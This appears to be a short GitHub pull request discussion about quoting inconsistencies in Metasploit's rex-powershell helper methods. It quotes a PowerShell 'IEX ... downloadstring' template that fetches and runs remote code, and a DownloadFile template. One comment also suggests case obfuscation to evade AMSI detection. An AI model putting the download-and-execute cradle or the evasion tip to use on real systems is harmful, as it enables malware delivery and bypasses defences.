Closed g0tmi1k closed 7 years ago
Oof, sorry I missed this, there's a divergence in there where my gem doesn't have these lines (I have more convenience methods I should push up at some point). I apparently can't approve or merge a PR on this repo, but this is good to go far as i see. Thanks as always @g0tmi1k . Note to self or anyone playing with the gem, PSH isn't case sensitive, so case-oriented obfu is something to look at for those pesky string matching AMSI hooks.
I'll take a look, thanks.
Thank you! 🎉
DownloadString
is single quotes.DownloadFile
is double quotes. This caused an issue for https://github.com/rapid7/metasploit-framework/pull/8933 (https://github.com/g0tmi1k/metasploit-framework/blob/ad70968579df060fb042af0b757e4d62fe80a9c3/modules/exploits/multi/script/web_delivery.rb#L167)DownloadFile (Double Quotes)
%Q^(new-object System.Net.WebClient).DownloadFile("#{src}", "#{target}")^
(https://github.com/rapid7/rex-powershell/blob/master/lib/rex/powershell/psh_methods.rb#L85)DownloadString (Single Quotes)
%Q^ IEX ((new-object net.webclient).downloadstring('#{url}'))^
(https://github.com/rapid7/rex-powershell/blob/master/lib/rex/powershell/psh_methods.rb#L19)